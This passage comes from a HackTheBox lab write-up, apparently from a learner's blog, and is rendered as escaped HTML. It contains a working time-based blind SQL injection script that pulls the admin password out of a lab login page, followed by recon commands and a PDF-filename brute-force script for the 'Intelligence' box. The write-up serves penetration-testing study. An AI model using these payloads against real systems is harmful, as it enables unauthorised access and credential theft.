class="cl"&gt;# print(i)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Type&amp;#39;: &amp;#39;application/x-www-form-urlencoded&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Origin&amp;#39;: &amp;#39;http://10.10.10.239&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://10.10.10.239/admin/index.php&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for temp_number in range(1,11):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = f&amp;#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;amp;password=12&amp;amp;login=&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for temp_number in range(1,6):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = f&amp;#39;%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for temp_number in range(1,61):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data = f&amp;#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;amp;password=12&amp;amp;login=&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="19intelligence"&gt;&lt;a href="#19intelligence" class="header-anchor"&gt;&lt;/a&gt;19.Intelligence&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0497.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0498.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0499.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0500.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Since port 53 is open, I&amp;rsquo;ll start with port 80 to collect the domain name, then see where that leads.&lt;/p&gt;&#10;&lt;p&gt;Port 80&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0501.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0502.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain: intelligence.htb&lt;/p&gt;&#10;&lt;p&gt;53 domain&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0503.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0504.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;135&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0505.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We have limited access.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; -N 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only enumprivs works, and it doesn&amp;rsquo;t return anything useful.&lt;/p&gt;&#10;&lt;p&gt;139/445&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0506.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0507.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0508.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;ldap&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0509.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0510.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing useful here. I&amp;rsquo;d already collected this information earlier.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s pretty much all the services checked. Brute-forcing port 80 found nothing either, so I&amp;rsquo;ll take a closer look. The dnsenum command I just used brute-forces subdomains through port 53, but it returned no results. I&amp;rsquo;ll try brute-forcing them myself with FFUF.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H &amp;#34;Host: FUZZ.intelligence.htb&amp;#34; --hh 7432&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I turned my attention to UDP. Port 123 is the only UDP service that&amp;rsquo;s different, since UDP ports 53, 88, and 389 are no different from their TCP counterparts. I haven&amp;rsquo;t encountered NTP on port 123 before.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There are payloads here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0511.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing useful.&lt;/p&gt;&#10;&lt;p&gt;This is really strange. After working through so many earlier boxes, I felt like I had a pretty thorough grasp of domain recon. But after collecting everything here, I have nothing besides the primary domain. Maybe I&amp;rsquo;m supposed to use an exploit?&lt;/p&gt;&#10;&lt;p&gt;No luck there either. I&amp;rsquo;m stuck.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0512.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I did find two files on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://intelligence.htb/documents/2020-12-15-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://intelligence.htb/documents/2020-12-15-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://dc.intelligence.htb/documents/2020-01-01-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://intelligence.htb/documents/2020-01-01-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There doesn&amp;rsquo;t seem to be anything in either file.&lt;/p&gt;&#10;&lt;p&gt;Neither strings nor head revealed anything, and the PDFs themselves look empty too. I thought it might be a Caesar cipher, but decoding it went nowhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0513.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing, and the domain didn&amp;rsquo;t turn up anything either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0514.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is tough. I was completely out of ideas, so I looked at the next step in the write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0515.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was my first time seeing this kind of text, and also my first time seeing this method of extracting detailed information. I&amp;rsquo;ll learn about both of them first.&lt;/p&gt;&#10;&lt;p&gt;Lorem Ipsum-style text generally contains repeated Latin words.&lt;/p&gt;&#10;&lt;p&gt;PDF metadata analysis (using ExifTool) can extract metadata and reveal information.&lt;/p&gt;&#10;&lt;p&gt;Unless you&amp;rsquo;re doing forensics, I don&amp;rsquo;t think this is something you&amp;rsquo;d normally expect here. At least now I know the entry point.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0516.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found two creators—two usernames—and both accounts do exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0517.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now that I have the accounts, I&amp;rsquo;ll use this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0518.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0519.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing.&lt;/p&gt;&#10;&lt;p&gt;Based on how the PDFs on the website are named:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://dc.intelligence.htb/documents/2020-01-01-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://dc.intelligence.htb/documents/2020-01-01-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It&amp;rsquo;s clear that the filename is based on the year, month, and day. There may be more hidden files like this, and I need to extract them.&lt;/p&gt;&#10;&lt;p&gt;I started building a PoC.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;If-Modified-Since&amp;#39;: &amp;#39;Thu, 01 Apr 2021 17:00:00 GMT&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;If-None-Match&amp;#39;: &amp;#39;&amp;#34;0e86d731827d71:0&amp;#34;&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://dc.intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date_list = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; date_list.append(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;./url.txt&amp;#39;,&amp;#39;a&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).write(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0520.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span 